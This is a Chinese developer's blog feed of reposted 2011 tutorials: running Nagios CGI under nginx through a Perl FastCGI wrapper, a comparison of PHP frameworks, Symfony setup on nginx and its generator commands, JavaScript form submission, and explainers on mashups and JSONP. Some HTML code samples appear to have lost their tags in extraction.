1.nagios map显示出不来，要装GD 和GD-DEV* 然后再重新编译nagios，要么就一开始就装好。

二.nginx部分

1.安装

2.配置部分，nginx不能执行外部程序，所以我们要用fastcgi协议来调用外部程序。

Nginx并不提供支持对外部程序的直接调用或者解析（所以缺少像apache里的mod_php这样的模块），所有的外部程序（包括PHP）必须通过fastcgi接口来调用，在Linux下接口是socket （文件socket或者Internet socket）。所以为了调用CGI程序，我们需要一个fastcgi的wrapper，这个wrapper绑定在某个固定socket上（比如端口或者文件socket），当nginx将CGI请求发送给这个socket的时候，wrapper接纳请求并fork一个新的线程，这个线程调用外部的程序或者解释器处理脚本并读取返回值，而wrapper再将返回的数据（网页或者图片等）通过fastcgi将数据通过那个固定的socket传递给nginx

目前有网上流行的两种fastcgi管理器，perl-cgi和spwan-cgi,用spwan-cgi启动php部分

例：spwan-cgi -a 127.0.0.1 -p 9000 -f /usr/local/php-cgi -C 20

这里我们也可以用-s 参数来启用sock通信，例：unix:/var/run/nginx.sock

命令用法可以用--help来查看，然后再nginx.conf写入

location ~ \.php$ {

root /usr/local/nagios/share/;

fastcgi_pass 127.0.0.1:9000;

# fastcgi_pass unix:/var/run/nagios.sock;

fastcgi_index index.php;

fastcgi_param SCRIPT_FILENAME /usr/local/nagios/share/$fastcgi_script_name;

include fastcgi_params;

}

把所有php结尾的访问交给php来处理。

下面是perl-cgi的内容，它也是根据fastcgi协议写的

#!/usr/bin/perl

use FCGI;

#perl -MCPAN -e 'install FCGI'

use Socket;

#this keeps the program alive or something after exec'ing perl scripts

END() { } BEGIN() { }

*CORE::GLOBAL::exit = sub { die "fakeexit\nrc=".shift()."\n"; }; eval q{exit}; if ($@) { exit unless $@ =~ /^fakeexit/; } ;

&main;

sub main {

#$socket = FCGI::OpenSocket( ":3461", 10 ); #use IP sockets

$socket = FCGI::OpenSocket( "/var/run/nagios.sock", 10 ); #use UNIX sockets - user running this script must have w access to the 'nginx' folder!!

$request = FCGI::Request( \*STDIN, \*STDOUT, \*STDERR, \%ENV, $socket );

if ($request) {request_loop()};

FCGI::CloseSocket( $socket );

}

sub request_loop {

while( $request->Accept() >= 0 ) {

#processing any STDIN input from WebServer (for CGI-GET actions)

$env = $request->GetEnvironment();

$stdin_passthrough ='';

$req_len = 0 + $ENV{CONTENT_LENGTH};

if ($ENV{REQUEST_METHOD} eq 'GET'){

$stdin_passthrough .= $ENV{'QUERY_STRING'};

}

#running the cgi app

if ( (-x $ENV{SCRIPT_FILENAME}) && #can I execute this?

(-s $ENV{SCRIPT_FILENAME}) && #Is this file empty?

(-r $ENV{SCRIPT_FILENAME}) #can I read this file?

){

#http://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens

open $cgi_app, '-|', $ENV{SCRIPT_FILENAME}, $stdin_passthrough or print("Content-type: text/plain\r\n\r\n"); print "Error: CGI app returned no output - Executing $ENV{SCRIPT_FILENAME} failed !\n";

if ($cgi_app) {print <$cgi_app>; close $cgi_app;}

}

else {

print("Content-type: text/plain\r\n\r\n");

print "Error: No such CGI app - $req_len - $ENV{CONTENT_LENGTH} - $ENV{REQUEST_METHOD} - $ENV{SCRIPT_FILENAME} may not exist or is not executable by this process.\n";

}

用一个脚本启动

#!/bin/bash

## start_nginx_cgi.sh: start nginx cgi mode

## ljzhou, 2007.08.20

PERL="/usr/bin/perl"

NGINX_CGI_FILE="/usr/local/nagios/bin/perl-cgi.pl"

#bg_num=`jobs -l |grep "NGINX_CGI_FILE"`

#PID=`ps aux|grep "perl-cgi"|cut -c10-14|xargs kill -9`

PID=`ps aux|grep 'perl-cgi'|cut -c10-14|sed -n "1P"`

echo $PID

sockfiles="/var/run/nagios.sock"

kill -9 $PID

$PERL $NGINX_CGI_FILE &

sleep 3

`chown nobody.nobody $sockfiles`

然后再加如下配置到nginx

location ~ \.cgi$ {

rewrite ^/nagios/cgi-bin/(.*)\.cgi /$1.cgi break;

fastcgi_pass unix:/var/run/nagios.sock;

fastcgi_index index.cgi;

fastcgi_param SCRIPT_FILENAME /usr/local/nagios/sbin$fastcgi_script_name;

fastcgi_param HTTP_ACCEPT_LANGUAGE en_US;

include fastcgi_params;

}

location ~ \.pl$ {

fastcgi_pass unix:/var/run/nagios.sock;

fastcgi_index index.pl;

fastcgi_param SCRIPT_FILENAME /usr/local/nagios/sbin$fastcgi_script_name;

include fastcgi_params;

}

到处为止OK

小马歌 2011-12-17 15:20 发表评论

深度探讨 PHP 之性能【转】

小马歌 — Sat, 17 Dec 2011 03:26:00 GMT

摘要: 1.缘起关于PHP，很多人的直观感觉是PHP是一种灵活的脚本语言，库类丰富，使用简单，安全，非常适合WEB开发，但性能低下。PHP的性能是否真的就如同大家的感觉一样的差呢？本文就是围绕这么一个话题来进行探讨的。从源码、应用场景、基准性能、对比分析等几个方面深入分析PHP之性能问题，并通过真实的数据来说话。2.从原理分析PHP性能从原理分析PHP的性能，主要从以下几个方面：内存管理、变量、函数、... 阅读全文

小马歌 2011-12-17 11:26 发表评论

国外主流PHP框架比较-CodeIgniter、CakePHP、ZendFramework、Symfony [转]

小马歌 — Mon, 12 Dec 2011 07:18:00 GMT

转自：http://tech.it168.com/a2009/0203/264/000000264249.shtml

【IT168技术分析评论】　
最近简单的使用了目前在国内用的比较多的几个主流国外PHP框架(不包括国内框架)，大致对这些框架有个直观上的感受，简单分享一下，对于哪些做框架选型的时候，权当一个参考。

主要参考的框架包括：CodeIgniter、CakePHP、ZendFramework、Symfony

说明：我对很多框架也没有认真使用，只是简单试用了一下，可能很多看法不成熟或者是错误的，请大家指正，一起成长。

【 CodeIgniter 】

官方网站：http://codeigniter.com

中文网站：http://codeigniter.org.cn

中文手册：http://codeigniter.org.cn/user_guide

视频教程：http://codeigniter.org.cn/tutorials

测试版本：CodeIgniter_1.6.1

优点：

1. 配置简单，全部的配置使用PHP脚本来配置，执行效率高;具有基本的路由功能，能够进行一定程度的路由;具有初步的Layout功能，能够制作一定程度的界面外观;数据库层封装的不错，具有基本的MVC功能

2. 快速简洁，代码不多，执行性能高，框架简单，容易上手，学习成本低，文档详细;自带了很多简单好用的library，框架适合小型应用

缺点：

1. 把Model层简单的理解为数据库操作

2. 框架略显简单，只能够满足小型应用，略微不太能够满足中型应用需要

评价：

总体来说，拿CodeIgniter来完成简单快速的应用还是值得，同时能够构造一定程度的layout，便于模板的复用，数据操作层来说封装的不错，并且CodeIgniter没有使用很多太复杂的设计模式，执行性能和代码可读性上都不错。至于附加的 library 也还不错，简洁高效。

【 CakePHP 】

官方网站：http://www.cakephp.org

中文手册：http://www.1x3x.net/cakephp

视频教程：http://search.you.video.sina.com.cn/s?key=cakephp

测试版本：cake_1.1.19.6305

优点：

1. CakePHP是最类似于RoR的框架，包括设计方式，数据库操作的Active Record方式;设计层面很优雅，没有自带多余的 library，所有的功能都是纯粹的框架，执行效率还不错;数据库层的 hasOne, hasMany 功能很强大，对于复杂业务处理比较合适;路由功能，配置功能还不错;自动构建脚手架(scaffold)很强大;适合中型应用;基本实现过了MVC每一层;具有自动操作命令行脚本功能;

2. 文档比较全，在国内推广的比较成功，大部分都知道CakePHP，学习成本中等

缺点：

1. CakePHP非常严重的问题是把Model理解为数据库层操作，严重影响了除了数据库之外的操作能力

2. CakePHP的cache功能略显薄弱，配置功能稍嫌弱;CakePHP不适合大型应用，只适合中型应用，小型应用来说略微的学习成本高了点

评价：

总体来说CakePHP框架代表了PHP框架很重要的一个时代和代表，并且目前发挥着很重要的作用，不少自己写的框架都模仿了CakePHP的方式，是个里程碑式的产品;CakePHP透露着RoR的敏捷开发方式和把数据库操作认为是唯一Model的设计思想，作为开发快速应用和原型是绝好的工具;同样，用来做Web2.0网站的开发框架，也是值得选择的。

【 Zend Framework 】

官方网站：http://framework.zend.com

中文手册：http://www.phpeye.com/zf

视频教程：http://framework.zend.com/docs/screencasts

测试版本：ZendFramework-1.5.0

优点：

1. 官方出品，自带了非常多的 library，框架本身使用了很多设计模式来编写，架构上很优雅，执行效率中等;MVC设计中，比较简洁，具有路由功能，配置文件比较强大(能够处理 XML和php INI)，各种 library 很强大，是所有PHP框架中各种功能最全面的，包括它不仅是一个框架，更是一个大类库(取代PEAR)，这是它的主要特色;能够直观的支持除数据库操作之外的Model层(比 CodeIgniter 和 CakePHP 强)，并且能够很轻易的使用Loader功能加载其他新增加的Class;Cache功能很强大，从前端Cache到后端Cache都支持，后端 Cache支持Memcache、APC、SQLite、文件等等方式;数据库操作功能很强大，支持各种驱动(适配器)

2. 文档很全，在国内社区很成熟，并且目前不少Web 2.0网站在使用，学习成本中等

缺点：

1. MVC功能完成比较弱，View层简单实现(跟没实现一样)，无法很强大的控制前端页面

2. 没有自动化脚本，创建一个应用，包括入口文件，全部必须自己手工构建，入门成本高

3. Zend Framework 作为一个中型应用框架问题不大，也能够勉强作为大型应用的框架，但是作为一个很成熟的大型PHP框架来说，还需要一些努力

评价：

作为官方出品的框架，Zend Framework的野心是可以预见的，想把其他框架挤走，同时封装很多强大的类库，能够提供一站式的框架服务，并且他们的开发团队很强大，完全足够有能力开发很强大的产品出来，所以基本可以确定的是Zend Framework前途无量，如果花费更多的时间去完善框架。同样的，Zend Framework架构本身也是比较优雅的，说明Zend官方是有很多高手的，设计理念上比较先进，虽然有一些功能实现的不够完善，比如View层，自动化脚本等等，这些都有赖于未来的升级。总体来说Zend Framework是最值得期待的框架，当然，你目前要投入你的项目中使用也是完全没问题的。

【 Symfony 】

官方网站：http://www.symfony-project.org

中文网站：http://symfony-project.cn

权威指南：http://www.symfony-project.org/book

学习参考：http://sf.thecodecentral.com

测试版本：symfony-1.0.13

优点：

1. Symfony 是我了解的PHP框架中功能最强大的，而且我使用时间比较长，但是很多功能还是没有挖掘出来;它完整实现了MVC三层，封装了所有东西，包括 $_POST，$_GET 数据，异常处理，调试功能，数据检测;包含强大的缓存功能，自动加载Class(这个功能很爽)，强大的i18n国家化支持;具有很强大的view层操作，能够零碎的包含单个多个文件;非常强大的配置功能，使用yml配置能够控制所有框架和程序运行行为，强大到让人无语;能够很随意的定义各种自己的 class，并且symfony能够自动加载(auto load)这些class，能够在程序中随意调用;包含强大的多层级项目和应用管理：Project --> Application --> Module --> Action，能够满足一个项目下多个应用的需要，并且每层可以定义自己的类库，配置文件，layout;非常强大的命令行操作功能，包括建立项目、建立应用、建立模块、刷新缓存等等;

2. Symfony绝对是开发大型复杂项目的首选，因为使用了Symfony，将大大节约开发成本，并且多人协作的时候，不会出现问题，在Project级别定义好基础Class以后，任何模块都能够重用，大大复用代码

缺点：

1. 数据库操作model采用了重量级的propel和creole，不过在我测试的版本中已经把他们移到了addon里，可用可不用

2. 缓存功能无法控制，每次开发调试总是缓存，需要执行 symfony cc, symfony rc 来清除和重建缓存;

3. 效率不是很高，特别是解析模板和读取配置文件的过程，花费时间不少;

4. 学习成本很高，并且国内没有成熟的社区和文档，连中文手册都没有，相应的要掌握所有功能，需要花费比较多的时间

评价：

Symfony绝对是企业级的框架，唯一能够貌似能够跟Java领域哪些强悍框架抗衡的东西;强悍的东西，自然学习复杂，但是相应的对项目开发也比较有帮助，自然是推荐复杂的项目使用Symfony来处理，觉得是值得，后期的维护成本比较低，复用性很强。相应的如果使用Symfony的应该都是比较复杂的互联网项目，那么相应的就要考虑关于数据库分布的问题，那么就需要抛弃Symfony自带的数据库操作层，需要自己定义，当然了，Symfony支持随意的构造model层。

【总评】

以上数款框架，各有特色，而且都是开源项目，不过框架针对的项目不一样，一般来说 CodeIngiter 比较适合小型项目，CakePHP 和 Zend Framework 比较适合中型项目，Symfony 比较适合大型重量级项目，在项目选型的时候，要充分考虑框架的可以定制性、扩展性，因为每个项目都无法确定你是否会随着需求的变化进行改变。

相对来说，Zend Framework 和 Symfony 应对变化的能力比较强，特别是能够随意定制 model 层的Class，能够非常方便增加自己业务或者数据处理类，我是个人比较推荐在中大型项目中使用的框架。CodeIngiter 和 CakePHP 在中小型项目中同样能够发挥重大作用，快速开发和原型构建，非常适合目标不清晰的原型项目的开发。了解一个框架最好的方式就是使用它，学习它最好的方式就是看视频。:-)

仁者见仁，智者见智，在项目挑选框架的时候，请先认真考察项目的需求和未来的变化，然后选择合适的框架，让项目开发速度和后期维护性得到一个合理的平衡，当然了，也许，自己写一个框架更适合。 :-)

泛泛的评价了几款框架，估计很多东西都没有说到点子上，大家就姑且看之，同样欢迎提出看法指正!

小马歌 2011-12-12 15:18 发表评论

让symfony运行在nginx上的完美配置【转】

小马歌 — Mon, 12 Dec 2011 03:37:00 GMT

配置的重点在server这个node上，其他用nginx默认配置就行，这里就只写出server那一块的配置。因为symfony需要一些php $_SERVER里的变量来做路由，但是nginx赋给php的$_SERVER值并不是完全正确的，我也是查了不少资料才调好的，希望能对想让symfony在nginx上跑的同学有所帮助

http {

...

server {

listen 80; #nginx的端口

server_name localhost; #网站网址，这里以localhost为例

root /path/to/root; #根目录路径

chareset utf-8;

location /sf/ { #如果url匹配"/sf/"

alias /path/to/symfony/data/web/sf/; #访问/sf下面的资源所在的目录

}

location ~ ^/.+\.php(/.*)?$ { #如果匹配类似/frontend_dev.php/*这样的

set $script $fastcgi_script_name; #像/frontend_dev.php这样的url，直接把$fastcgi_script_name赋值给$script

if ($document_uri ~ ^(.+\.php)(/.*)) { #如果又匹配/frontend_dev.php/article/1这样的

set $script $1; #把frontend_dev.php赋值给$script

set $path_info $2; #把/article/1赋值给$path_info，如果用nginx默认的配置，$_SERVER['path_info']会不正确而导致symfony找不到正确的路由

}

fastcgi_pass 127.0.0.1:9000; #php-cgi服务

#下面开始给php的$_SERVER相关变量赋值，不写对都有可能运行不了symfony

include fastcgi_params; #这里面有很多nginx默认给php的$_SERVER赋的环境变量值，

#如果你想要把这句放后面的话，下面已经赋过值的记得注释掉，否则又被覆盖回原来的错误值

fastcgi_param SCRIPT_FILENAME $document_root$script;

fastcgi_param SCRIPT_NAME $script;

fastcgi_param PATH_INFO $path_info;

fastcgi_param DOCUMENT_URI $document_uri;

}

location / { #当前面的规则都不匹配，就运行这个(剩下的url肯定都匹配/)

if (-f $request_filename) { #如果资源（像css，js这样的文件）和请求的url是匹配的，也就是说能根据url直接找到

expires max; #那就永不过期

break; #并且不往下执行了

}

#否则得话都给他rewrite到index.php上去

rewrite .* /index.php last;

}

关于path_info部分还有更简单的写法，而且是官方例子，参见我另外一篇博客。

另外配置symfony等单一入口框架也有更好的例子，参见我新写的文章

小马歌 2011-12-12 11:37 发表评论

symfony generate.生成.框架.快捷键

小马歌 — Sat, 10 Dec 2011 11:45:00 GMT

1 新建立工程
D:\xampp\htdocs\mycms>D:\symfony\data\bin\symfony generate:project mycms
2 创建前台和后台
D:\xampp\htdocs\mycms>D:\symfony\data\bin\symfony generate:app frontend
D:\xampp\htdocs\mycms>D:\symfony\data\bin\symfony generate:app backend
3 生成model表单模型
D:\xampp\htdocs\mycms>D:\symfony\data\bin\symfony doctrine:build --all
4 从data下填充数据库到数据库
D:\xampp\htdocs\mycms>D:\symfony\data\bin\symfony doctrine:generate-module frontend job Job --with-show --non-verbose-template
5 生成后台action及模版
D:\xampp\htdocs\mycms>D:\symfony\data\bin\symfony doctrine:generate-admin backend Category
D:\xampp\htdocs\mycms>D:\symfony\data\bin\symfony doctrine:generate-admin backend Content
D:\xampp\htdocs\mycms>D:\symfony\data\bin\symfony doctrine:generate-admin backend Comment
6 格式化后台程序的输出
D:\xampp\htdocs\mycms>D:\symfony\data\bin\symfony plugin:publish-assets
7 创建前台程序
D:\xampp\htdocs\mycms>symfony doctrine:generate-module frontend category Category --with-show
D:\xampp\htdocs\mycms>symfony doctrine:generate-module frontend content Content --with-show
D:\xampp\htdocs\mycms>symfony doctrine:generate-module frontend comment Comment --with-show
8 目前位置一个带有前台和后台的应用程序已经全部好了。

//---------------------------yml 应用程序的数据库 ---------------------------------
Category:
columns:
name: string(50)
description: string(1000)

Content:
actAs:
    Timestampable: ~
columns:
    title: string(255)
    body: clob
    view_count: integer
    recommend_level:
      type: enum
      values: [0,1,2]
      default: 2
    category_id: integer
relations:
    Category:
      local: category_id
      foreign: id
      foreignAlias: Contents

Comment:
columns:
    body: clob
    user_id: integer
    content_id: integer
relations:
    Content:
      local: content_id
      foreign: id
      foreignAlias: Comments
//---------------------------yml 应用程序的后台样式 ---------------------------------
generator:
class: sfDoctrineGenerator
param:
    model_class:           category
    theme:                 admin
    non_verbose_templates: true
    with_show:             false
    singular:              ~
    plural:                ~
    route_prefix:          category
    with_doctrine_route:   true
    actions_base_class:    sfActions

    config:
      actions:
        _delete:
          label: 删除
        _list:
          label: 返回管理
      fields:
        id:
          label: 编号
        name:
          label: 名字
        description:
          label: 描述
      list:
        title: 信息管理
        display: [id,=name,description]
        layout: stacked
        #params: 编号:%%id%%
名字:%%name%%
描述:%%description%%

        sort: [title,view_count,category, DESC]
        max_per_page: 6
        batch_actions:
          _delete:
            label: 删除
          publish:
            label: 发布
        object_actions:
          _edit:
            label: 编辑
          _delete:
            label: 删除
          publish:
            label: 发布
        actions:
          _new:
            label: 创建

      filter: ~
      form:    ~
      edit:    ~
      new:     ~

小马歌 2011-12-10 19:45 发表评论

javascript表单提交【转】

小马歌 — Wed, 23 Nov 2011 11:32:00 GMT

总结得不错。

1、按钮为button，可在js中调用formName.submit()显性提交。若是submit按钮，则不能再这样加提交语句，否则会提交两次。

2、一个input域中回车，会默认第一个submit属性的按钮提交。若都是butoon属性，则回车不会提交表单。

3、有时提交表单后不能刷新页面，即没有action=""的情况，

（此时在handle()中进行处理后会返回一个false）或者或者。这样做了后能保证只执行js代码后，本页面不刷新，也不提交到另一个页面。

//一般提交
function del(myform)
{
myform.target="_blank" //也可以是_self,_top,_parent,默认为_self
myform.action="trade_delete.asp";
myform.submit();
}

//提交后对窗口的限制
function del(creator)
{
creator.target="preview";
creator.action="register_check.asp";
var win = window.open("about:blank","preview","toolbar=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no,width=250,height=25,top=250,left=300");
win.focus();
creator.submit();
}

总结下这么几种的方法:

1,通过type=submit 或者图片的submti来提交(图片的这种方法很不错)

2,通过在imput里面加onclick来写个方法来做提交前的验证.type可以是button.,反正多个浏览器

做的时候,试验一下.

3,还有可以通过在form里面加onsubmit来验证.

4,通过在javascript的方法里头,用submit()方法来提交

具体得到这个form的方法有:

oForm = document.getElementById("form1");

oForm = document.forms("form1");

oForm = document.forms[0];

//通过上面的几种可以得到form

oForm.submit();

xml 代码

<%@ page language="java" import="java.util.*" pageEncoding="gbk"%>
function dosubmit() {
alert("heihei");
}
script>
javascript测试head>
form>
body>
html>

可以在函数里面做出验证.

这个要用onclick 来触发事件,onchange,试了下不行其他不行.

这里是用按钮.这里type用了submit

xml 代码

<%@ page language="java" import="java.util.*" pageEncoding="gbk"%>
function dosubmit() {
document.forms[0].submit();
alert("^_^提交成功！");
}
script>
javascript测试head>
form>
body>
html>

这里type用button,用document.forms[0].submit()来提交.

xml 代码

<%@ page language="java" import="java.util.*" pageEncoding="gbk"%>
function dosubmit() {
//document.forms[0].submit();
alert("1111提交成功！");
}
script>
javascript测试head>
z
form>
body>
html>
onSubmit="return actionCheck();">

新闻类型编号

新闻类型名称

新闻存放目录名称

使用模版名称

小马歌 2011-11-23 19:32 发表评论

ibm文档中心，很好的教程

小马歌 — Sat, 19 Nov 2011 04:58:00 GMT

http://www.ibm.com/developerworks/cn/

小马歌 2011-11-19 12:58 发表评论

什么是Mashup

小马歌 — Sat, 19 Nov 2011 04:41:00 GMT

简介

　　一般使用源应用的API接口，或者是一些rss输出（含atom）作为内容源，合并的web应用用什么技术，则没有什么限制。mashup在geek群体和互联网玩家之中获得了极大的欢迎，mashup未必需要很高的编程技能，只需要熟悉api和网络服务工作方式，都能进行开发，所以很快成为一个流行的网络现象。很多公司例如yahoo/google都为此提供开放接口，以吸引这个群体。

　　Mashup 是一个非常cool的新的应用程序种类。如果你想真正的了解它们，我们需要回过头来看看你现在的计算机，其实它就是一个非常好的帮助你理解Mashup的模型。计算机运行着操作系统，例如Windows。现在开源的操作系统无疑是一个非常好的APIs 的集合或者一个应用程序编程接口，帮助开发者去构建他们的应用程序。计算机本身也是一个很好的为用户提供接口的例子，键盘和鼠标可以被理解为你通过计算机的接口而使用的不同的应用程序。

Mashup

一个API可能是帮助电脑接入网络又或者用来提供显示功能。总之，这些APIs 帮助开发者更加容易的去构建他们的应用程序。在过去开发者需要描绘每一个点显示的位置，而现在仅仅需要给出对称坐标，就可以完成一个窗口的绘制。

　　APIs做的事情是这样的。假如你访问文件系统，那么你所需得到APIs，这是计算机工作的途径。然后你就可以在一个窗口里运行一个应用程序。人们开发一个应用程序通常需要3或4个不同的APIs,或许更多。

编辑本段运行方式

　　这是一个计算机传统的运行方式。现在，我们将Windows，操作系统替换成网络。那么同样的，就会有许多公司来提供哪些APIs。比如yahoo,google.例如一个叫EVDB的公司，它是一个事件日历的数据库，可以提醒你什么时间到哪里做什么事情。也包括像 Amazon 和 eBay，又比如Technorati ，所有这些不同的公司把APIs放到网上使开发者可以访问。

　　现在假如你是一个Web开发者，你通过一个API 找到你附近哪些地方会有犯罪。然后你访问Google 地图API，把这两个内容整合在一起，那么你就得到了一个标有犯罪纪录的地图。这个新的地图就叫Mashup。因为开发者通过来自多个网站的APIs，把他们合并在一起，成为了一个新的很cool的应用程序。

编辑本段目前

　　越来越多的APIs被开放，这是一个比较明确的方向，每天都会有大概2.5个Mashup产生，预计到2007年每天Mashup的产生数量会增加到10个。

　　之所以，一天会有10个Mashup产生是因为，开发将会变得越来越容易，你不用再必须变成一个C语言程序员去展示你的创造力，你可以开发很Cool的应用，例如哪里有停车空位的地图，就像在California得Bay 地区的 ParkingCarma 所做的那样。又或者你开发一个地图标记出你的邻居和你想去会见某人，这其实也已经是一个事实存在的应用了，FrozenBear公司正在做这方面的开发。

　　我们展示这些Mashup的同时，又有新的APIs随时发布到网上，这就形成了一个生态系统，而且这个生态系统比目前现存的所有生态系统都会增长的更快。Windows，你必须成为一个程序员才可以开发应用程序，Linux，Macintosh也同样是如此，但是Mashup却不必，它将会是今天增长速度最快的一个生态体统。

编辑本段发展

Windows

Mashup 不仅仅是发展的很快，更好的一个地方是你不再需通过某人才可以发布一个新API到网上。以前你必须要通过微软才可以发布一个新的API加入到Windows，这种情况同样出现在Macintosh。另，尽管你也许可以添加一个API直接到Linux，因为它是开源的，但是这对大多开发者来说并不具备这样的权利。

　　另外，你在发布了一个API到网上之后，不需要再通过谁去批准它，它会自动对所有开发者有效。所有的不同的APIs都会成为更多Mashup的燃料。

　　越来越多的Mashup出现在网上，越来越多的网络用户去使用这些新的Mashup应用程序。越来越多的开发者加入到开发Mashup这个生态系统当中。在未来两年，你将可以听到关于Mashup的信息。

编辑本段典型应用

地图 Mashup

　　在这个阶段的信息技术中，人们搜集大量有关事物和行为的数据，二者都常常具有位置注释信息。所有这些包含位置数据的不同数据集均可利用地图通过令人惊奇的图形化方式呈现出来。mashup 蓬勃发展的一种主要动力就是 Google 公开了自己的 Google Maps API。这仿佛打开了一道大门，让 Web 开发人员(包括爱好者、修补程序开发人员和其他一些人)可以在地图中包含所有类型的数据(从原子弹灾难到波士顿的 CowParade 奶牛都可以)。为了不落于人后，Microsoft(Virtual Earth)、Yahoo(Yahoo Maps)和 AOL(MapQuest)也很快相继公开了自己的 API。

视频和图象 Mashup

　　图像主机和社交网络站点(例如 Flickr 使用自己的 API 来共享图像)的兴起导致出现了很多有趣的 mashup。由于内容提供者拥有与其保存的图像相关的元数据(例如谁拍的照片，照片的内容是什么，在何时何地拍摄的等等)，mashup 的设计者可以将这些照片和其他与元数据相关的信息放到一起。例如，mashup 可以对歌曲或诗词进行分析，从而将相关照片拼接在一起，或者基于相同的照片元数据(标题、时间戳或其他元数据)显示社交网络图。另外一个例子可能以一个 Web 站点(例如 CNN 之类的新闻站点)作为输入，并在新闻中通过照片匹配而将照片中的内容以文字的形式呈现出来。

搜索和购物 Mashup

　　搜索和购物 mashup 在 mashup 这个术语出现之前就已经存在很长时间了。在 Web API 出现之前，有相当多的购物工具，例如 BizRate、PriceGrabber、MySimon 和 Google 的 Froogle，都使用了 B2B 技术或屏幕抓取的方式来累计相关的价格数据。为了促进 mashup 和其他有趣的 Web 应用程序的发展，诸如 eBay 和 Amazon 之类的消费网站已经为通过编程访问自己的内容而发布了自己的 API。

新闻 Mashup

　　新闻源(例如纽约时报、BBC 或路透社)已从 2002 年起使用 RSS 和 Atom 之类的联合技术来发布各个主题的新闻提要。以联合技术为基础的 mashup 可以聚集一名用户的提要，并将其通过 Web 呈现出来，创建个性化的报纸，从而满足读者独特的兴趣。

微博 Mashup

　　将多个微博在一个平台上进行聚合显示，在一个平台上可以同时绑定多个微博(腾讯微博、新浪微博、搜狐微博、网易微博、人人网、豆瓣、饭否、嘀咕、Follow5、天涯微博、人间网、做啥、9911、同学网、开心网等)，从而满足用户同步多个平台的要求，提供了微博信息汇总表，让用户方便查看自己所有平台的粉丝，关注和微博数，轻松实现在不同微博间自由切换。并且提供多微博评论列表读取，跨平台分享，聚合收藏等功能。使用户可在同一屏幕中同步收发信息，实现了真正意义上的社交网站双向聚合。类似网站功能的有玛撒网，微博通等。

扩展阅读：

1
http://dotnet.csdn.net/n/20060316/88236.html
2
http://www.robotbb.com
3
IBM Developworks上有更详细的资料：http://www.ibm.com/developerworks/cn/xml/x-mashups.html

小马歌 2011-11-19 12:41 发表评论

使用 JSONP 实现跨域通信，第 1 部分: 结合 JSONP 和 jQuery 快速构建强大的 mashup【转】

小马歌 — Sat, 19 Nov 2011 04:40:00 GMT

由 yangyi 于 2009-05-31 22:28:36 提供

2009 年 5 月 25 日

随着公开提供的 Web 服务 API 不断增加，现在可以轻松地从不同 Web 源获取资源并构建 mashup —— 只要您能访问正确的 API 和工具。探究如何能够结合高深的跨域调用技术（JSONP）和灵活的 JavaScript 库（jQuery），以快速构建强大的 mashup。

简介

Asynchronous JavaScript and XML (Ajax) 是驱动新一代 Web 站点（流行术语为 Web 2.0 站点）的关键技术。Ajax 允许在不干扰 Web 应用程序的显示和行为的情况下在后台进行数据检索。使用 XMLHttpRequest 函数获取数据，它是一种 API，允许客户端 JavaScript 通过 HTTP 连接到远程服务器。Ajax 也是许多 mashup 的驱动力，它可将来自多个地方的内容集成为单一 Web 应用程序。

不过，由于受到浏览器的限制，该方法不允许跨域通信。如果尝试从不同的域请求数据，会出现安全错误。如果能控制数据驻留的远程服务器并且每个请求都前往同一域，就可以避免这些安全错误。但是，如果仅停留在自己的服务器上，Web 应用程序还有什么用处呢？如果需要从多个第三方服务器收集数据时，又该怎么办？

理解同源策略限制

同源策略阻止从一个域上加载的脚本获取或操作另一个域上的文档属性。也就是说，受到请求的 URL 的域必须与当前 Web 页面的域相同。这意味着浏览器隔离来自不同源的内容，以防止它们之间的操作。这个浏览器策略很旧，从 Netscape Navigator 2.0 版本开始就存在。

克服该限制的一个相对简单的方法是让 Web 页面向它源自的 Web 服务器请求数据，并且让 Web 服务器像代理一样将请求转发给真正的第三方服务器。尽管该技术获得了普遍使用，但它是不可伸缩的。另一种方式是使用框架要素在当前 Web 页面中创建新区域，并且使用 GET 请求获取任何第三方资源。不过，获取资源后，框架中的内容会受到同源策略的限制。

克服该限制更理想方法是在 Web 页面中插入动态脚本元素，该页面源指向其他域中的服务 URL 并且在自身脚本中获取数据。脚本加载时它开始执行。该方法是可行的，因为同源策略不阻止动态脚本插入，并且将脚本看作是从提供 Web 页面的域上加载的。但如果该脚本尝试从另一个域上加载文档，就不会成功。幸运的是，通过添加 JavaScript Object Notation (JSON) 可以改进该技术。

JSON 和 JSONP

JSON 是用于在浏览器和服务器之间交换信息的轻量级数据格式（与 XML 相比）。JOSON 依赖于 JavaScript 开发人员，因为它是 JavaScript 对象的字符串表示。例如，假设有一个含两个属性的 ticker 对象：symbol 和 price。这是在 JavaScript 中定义 ticker 对象的方式：

var ticker = {symbol: 'IBM', price: 91.42};

并且这是它的 JSON 表示方式：

{symbol: 'IBM', price: 91.42}

从参考资料查找更多有关 JSON 和将其作为数据内部交换格式的信息。清单 1 定义了一个 JavaScript 函数，调用该函数时会显示 IBM 的股价。（我们没有详细介绍如何将该函数添加到 Web 页面）。

清单 1. 定义 showPrice 函数

function showPrice(data) {     alert("Symbol: " + data.symbol + ", Price: " + data.price); }

可以将 JSON 数据作为参数传递，以调用该函数：

showPrice({symbol: 'IBM', price: 91.42}); // alerts: Symbol: IBM, Price: 91.42

现在准备将这两个步骤包含到 Web 页面，如清单 2 所示。

清单 2. 在 Web 页面中包含 showPrice 函数和参数

加载页面后，应该看如图 1 所示的警告。

图 1. IBM ticker

至此，本文已展示了如何将静态 JSON 数据作为参数调用 JavaScript 函数。不过，通过在函数调用中动态包装 JSON 数据可以用动态数据调用函数，这是一种动态 JavaScript 插入的技术。要查看其效果，将下面一行放入名为 ticker.js 的独立 JavaScript 文件中。

showPrice({symbol: 'IBM', price: 91.42});

现在改变 Web 页面中的脚本，使其和清单 3 一样。

清单 3. 动态 JavaScript 插入代码

在清单 3 所示的例子中，动态插入的 JavaScript 代码位于 ticker.js 文件中，它将真正的 JSON 数据作为参数调用showPrice()函数。

前面已经提到，同源策略不阻止将动态脚本元素插入文档中。也就是说，可以动态插入来自不同域的 JavaScript，并且这些域都携带 JSON 数据。这其实是真正的 JSONP（JSON with Padding）：打包在函数调用中的 JSON 数据。注意，为了完成该操作，Web 页面必须在插入时具有已经定义好的回调函数，也就是我们例子中的 showPrice()。

不过，所谓的 JSONP 服务（或 Remote JSON Service）是一种带有附加功能的 Web 服务，该功能支持在特定于用户的函数调用中打包返回的 JSON 数据。这种方法依赖于接受回调函数名作为请求参数的远程服务。然后该服务生成对该函数的调用，将 JSON 数据作为参数传递，在到达客户端时将其插入 Web 页面并开始执行。

回页首

